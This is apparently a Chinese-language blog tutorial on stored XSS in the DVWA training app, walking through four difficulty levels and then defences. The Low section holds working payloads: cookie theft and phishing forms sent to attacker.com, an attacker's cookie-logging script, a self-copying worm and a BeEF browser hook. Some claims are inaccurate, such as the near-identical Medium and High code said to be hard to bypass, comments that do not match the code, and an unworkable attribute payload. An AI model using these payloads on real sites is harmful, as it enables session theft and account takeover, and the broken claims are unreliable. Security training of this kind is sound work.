0%

DVWA - XSS Stored (存储型XSS) 攻防练习详解

目录


漏洞简介

什么是存储型XSS(Stored Cross-Site Scripting)?

存储型XSS也称为持久化XSS,攻击者将恶意脚本存储在服务器端(数据库、文件等),当其他用户访问包含恶意数据的页面时,脚本会自动执行。

攻击流程:

  1. 攻击者提交恶意脚本到服务器
  2. 服务器将恶意脚本存储到数据库
  3. 其他用户访问页面
  4. 服务器从数据库读取恶意脚本并输出
  5. 用户浏览器执行恶意脚本

危害:

  • 持久化攻击(一次注入,多次触发)
  • 影响所有访问用户
  • 蠕虫传播(自我复制)
  • 窃取管理员Cookie
  • 网站挂马
  • 完全控制用户会话

与反射型XSS的区别:

  • 反射型:一次性,需要用户点击链接
  • 存储型:持久化,所有访问用户都会中招

DVWA场景:
留言板(Guestbook),用户可以提交姓名和留言。


Low 难度

攻击目标

完全未过滤的留言板,恶意脚本永久存储。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

// 检查是否提交了留言表单
// isset() - 检查变量是否存在且非NULL
if( isset( $_POST[ 'btnSign' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// $_POST - 从POST请求体获取数据
// trim() - 只是去除首尾空格,不做任何安全处理
// mysql_real_escape_string() - 只防SQL注入,不防XSS!
//
// 问题:mysql_real_escape_string只转义SQL特殊字符
// 不转义HTML特殊字符<>,所以XSS payload可以正常存储
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// 对SQL特殊字符转义(防SQL注入)
// 但不防止XSS攻击!
$name = mysql_real_escape_string( $name );
$message = mysql_real_escape_string( $message );

// ★★★ 将用户输入直接插入数据库 ★★★
// INSERT INTO - SQL插入语句
// guestbook - 留言板表
// name, comment - 字段名
// 恶意脚本被原封不动地存储到数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

// 执行SQL插入
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 显示成功消息
// header() - 设置HTTP响应头
// Location - 重定向到指定URL
//mysql_close();
}

?>

显示留言的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// ★★★ 从数据库读取并显示留言 ★★★
// SELECT - SQL查询语句
// guestbook - 留言板表
$query = "SELECT * FROM guestbook";

// 执行查询
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 遍历所有留言
// mysql_fetch_assoc() - 获取结果行作为关联数组
while( $row = mysql_fetch_assoc( $result ) ) {

// ★★★ 危险操作:直接输出数据库内容,无任何编码 ★★★
// $row[ 'comment' ] - 留言内容(可能包含恶意脚本)
// $row[ 'name' ] - 姓名(可能包含恶意脚本)
//
// 问题:直接输出,浏览器会执行其中的脚本!
echo "<div class='comment'>";
echo "<div class='name'>" . $row[ 'name' ] . "</div>";
echo "<div class='message'>" . $row[ 'comment' ] . "</div>";
echo "</div>";
}

// 关闭数据库连接
mysql_close();

?>

漏洞分析

存储流程:

1
用户输入 → trim() → mysql_real_escape_string() → 存入数据库

输出流程:

1
数据库 → 直接输出 → 浏览器执行

核心问题:

  1. mysql_real_escape_string()不防XSS - 只转义'"\等SQL字符
  2. 不转义HTML字符 - <>&等直接存储
  3. 输出时无编码 - 直接echo数据库内容
  4. 永久存储 - 恶意脚本一直存在,所有访问者都会执行

攻击步骤

步骤1:基础XSS攻击

攻击1:在Name字段注入

1
2
3
4
5
6
7
8
9
<!-- 姓名输入 -->
<script>alert('XSS')</script>

<!-- 留言输入 -->
Normal message

<!-- 提交后 -->
数据库存储:name = '<script>alert('XSS')</script>'
每次有人访问留言板,都会弹出XSS对话框

攻击2:在Message字段注入

1
2
3
4
5
6
7
8
<!-- 姓名输入 -->
Alice

<!-- 留言输入 -->
<script>alert(document.cookie)</script>

<!-- 结果 -->
所有访问者都会看到自己的Cookie

步骤2:窃取所有用户Cookie

1
2
3
4
5
6
7
8
9
<!-- 留言内容 -->
<script>
// 将Cookie发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

<!-- 或更隐蔽的方式 -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器(steal.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 记录所有访问者的Cookie
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

$log = fopen('stolen_cookies.txt', 'a');
fwrite($log, "$time - $ip - $cookie\n");
fclose($log);

// 返回1x1透明图片(不让用户发现)
header('Content-Type: image/png');
echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
?>

步骤3:XSS蠕虫(自我复制)

1
2
3
4
5
6
7
8
9
10
11
12
<script>
// 读取自己的恶意代码
var payload = document.querySelector('.comment .message').innerHTML;

// 自动提交留言表单,复制自己
var xhr = new XMLHttpRequest();
xhr.open('POST', '/dvwa/vulnerabilities/xss_s/', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('txtName=Worm&mtxMessage=' + encodeURIComponent(payload) + '&btnSign=Sign+Guestbook');
</script>

<!-- 结果:每个访问者都会自动发布一条相同的恶意留言 -->

步骤4:钓鱼攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
// 覆盖整个页面内容
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;">
<div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;">
<h2>Session Expired</h2>
<p>Please login again to continue:</p>
<form action="http://attacker.com/phish.php" method="POST">
<input type="text" name="user" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
<input type="password" name="pass" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
<button type="submit" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">Login</button>
</form>
</div>
</div>
`;
</script>

步骤5:BeEF挂钩(控制浏览器)

1
2
3
4
5
6
7
8
9
10
11
<!-- 在留言中插入BeEF钩子 -->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- 所有访问留言板的用户浏览器都会被BeEF控制 -->
<!-- 攻击者可以: -->
<!-- - 查看浏览器信息 -->
<!-- - 键盘记录 -->
<!-- - 截屏 -->
<!-- - 获取摄像头 -->
<!-- - 端口扫描 -->
<!-- - 社会工程学攻击 -->

Medium 难度

攻击目标

添加了简单的过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ 新增:使用strip_tags()移除HTML标签 ★★★
// strip_tags() - 从字符串中去除HTML和PHP标签
// 参数1:要处理的字符串
// 参数2:允许的标签(可选,这里未指定,移除所有标签)
// 返回值:移除标签后的字符串
//
// 作用:移除<script>、<img>等所有HTML标签
// 例如:<script>alert(1)</script> → alert(1)
$name = strip_tags( addslashes( $name ) );

// ★★★ 新增:使用mysqli_real_escape_string()转义 ★★★
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 新增:使用strip_tags()处理留言内容 ★★★
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 插入数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

新增防护

  1. strip_tags() - 移除所有HTML标签
  2. addslashes() - 添加反斜杠转义

仍存在的漏洞

关键问题:

虽然使用了strip_tags(),但:

  1. Name字段限制长度 - 通常很短,难以注入
  2. Message字段也使用strip_tags() - 标签被移除
  3. 但输出时仍未编码 - 可能存在绕过方式

绕过方法

Medium难度的限制:

DVWA Medium难度的存储型XSS实际上很难绕过,因为:

  • Name字段长度限制
  • Message字段使用strip_tags()
  • 几乎所有HTML标签都被移除

理论绕过(在某些场景下):

如果输出上下文特殊,可能利用:

1
2
3
4
5
6
7
8
<!-- 如果数据被输出到JavaScript中 -->
<script>var name = '<?php echo $name; ?>';</script>
<!-- 即使没有HTML标签,仍可注入 -->
<!-- Payload: '; alert('XSS'); // -->

<!-- 如果数据被输出到HTML属性中 -->
<input value="<?php echo $name; ?>">
<!-- Payload: " onload=alert('XSS') // -->

实际情况:

Medium难度的DVWA存储型XSS使用了strip_tags(),基本可以防止大部分攻击。但这不代表strip_tags()是完美的防御,在某些复杂场景下仍可能被绕过。


High 难度

攻击目标

更严格的过滤,但仍有绕过可能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ Name字段:使用strip_tags()和addslashes() ★★★
$name = strip_tags( addslashes( $name ) );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ Message字段:使用strip_tags()和正则过滤 ★★★
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 插入数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

新增防护

High难度与Medium类似,主要防护:

  1. strip_tags() - 移除HTML标签
  2. 严格的输入验证

为什么难以绕过?

由于使用了strip_tags(),所有HTML标签都被移除,很难进行传统的XSS攻击。


Impossible 难度

攻击目标

使用htmlspecialchars()和PDO,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ 核心防护1:htmlspecialchars()编码 ★★★
// htmlspecialchars() - 将特殊字符转换为HTML实体
// ENT_QUOTES - 转换单引号和双引号
// 'UTF-8' - 字符编码
//
// 转换:
// < → &lt;
// > → &gt;
// & → &amp;
// " → &quot;
// ' → &#039;
$name = htmlspecialchars( $name );
$message = htmlspecialchars( $message );

// ★★★ 核心防护2:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句
// :name, :message - 命名参数占位符
//
// 作用:SQL结构和数据完全分离,防止SQL注入
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将变量绑定到参数
// PDO::PARAM_STR - 参数类型为字符串
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->bindParam( ':message', $message, PDO::PARAM_STR );

// ★★★ 执行插入 ★★★
// execute() - 执行预编译语句
$data->execute();
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

显示留言(同样使用htmlspecialchars):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// 从数据库读取留言
$data = $db->prepare( 'SELECT comment, name FROM guestbook' );
$data->execute();

// 遍历显示
while( $row = $data->fetch() ) {
// ★★★ 关键:输出时也进行HTML编码 ★★★
// 虽然存储时已编码,但最佳实践是输出时也编码
// 这样即使数据库中存在恶意数据,也会被安全显示
echo "<div class='comment'>";
echo "<div class='name'>" . htmlspecialchars( $row[ 'name' ] ) . "</div>";
echo "<div class='message'>" . htmlspecialchars( $row[ 'comment' ] ) . "</div>";
echo "</div>";
}

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. htmlspecialchars() - 输入时编码
  3. PDO预编译 - 防止SQL注入
  4. 输出时再次编码 - 双重保险

工作流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
输入:<script>alert('XSS')</script>

htmlspecialchars()编码:
&lt;script&gt;alert('XSS')&lt;/script&gt;

存入数据库:
&lt;script&gt;alert('XSS')&lt;/script&gt;

从数据库读取:
&lt;script&gt;alert('XSS')&lt;/script&gt;

再次htmlspecialchars():
&lt;script&gt;alert('XSS')&lt;/script&gt;

浏览器显示(纯文本):
<script>alert('XSS')</script>

不会执行脚本!

为什么无法攻破?

所有攻击都被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
攻击1:<script>alert('XSS')</script>
存储:&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:<script>alert('XSS')</script>(文本)
结果:失败

攻击2:<img src=x onerror=alert('XSS')>
存储:&lt;img src=x onerror=alert('XSS')&gt;
显示:<img src=x onerror=alert('XSS')>(文本)
结果:失败

攻击3:"><script>alert('XSS')</script>
存储:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:"&gt;<script>alert('XSS')</script>(文本)
结果:失败

防御建议

代码层面

1. 输入输出双重编码

1
2
3
4
5
6
7
8
9
10
11
12
// 输入时编码
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

// 存入数据库
$stmt = $pdo->prepare("INSERT INTO comments (content) VALUES (:content)");
$stmt->execute(['content' => $input]);

// 输出时再次编码(双重保险)
$stmt = $pdo->query("SELECT content FROM comments");
while ($row = $stmt->fetch()) {
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');
}

2. 使用专门的XSS过滤库

1
2
3
4
5
// HTML Purifier(推荐)
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

3. 内容安全策略(CSP)

1
2
// 设置严格的CSP
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
1
2
3
4
5
6
// 防止XSS窃取Cookie
setcookie('session', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);

数据库层面

  1. 存储编码后的数据 - 存入数据库前先编码
  2. 输出时再次编码 - 双重保险
  3. 定期审计 - 检查数据库中是否有恶意数据

监控层面

  1. WAF规则 - 检测XSS payload
  2. 日志监控 - 记录可疑输入
  3. 定期扫描 - 使用工具扫描XSS漏洞

总结对比

特性 Low Medium High Impossible
输入过滤 strip_tags strip_tags htmlspecialchars
输出编码 ✅ htmlspecialchars
SQL防护 mysql_escape mysqli_escape mysqli_escape PDO预编译
CSRF防护 ✅ Token
持久化 ✅(但安全)
攻击难度 极易 较难 不可能
影响范围 所有用户 所有用户 所有用户 无影响

实战建议

攻击演示:

  1. Low难度 - 直接注入<script>alert(1)</script>
  2. Medium难度 - 尝试各种绕过(较难)
  3. High难度 - 基本无法绕过strip_tags()
  4. Impossible难度 - 完全安全

实战技巧:

  • 存储型XSS影响所有用户,危害更大
  • 优先测试管理员会访问的页面
  • 可以结合CSRF进行自动化蠕虫攻击
  • 使用BeEF可以完全控制受害者浏览器

防御重点:

  • 输入输出都要编码
  • 使用htmlspecialchars()而不是strip_tags()
  • 设置HttpOnly Cookie
  • 实施CSP策略

道德准则:

  • 只在授权环境测试
  • 不传播XSS蠕虫到真实网站
  • 学习目的是保护用户安全
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels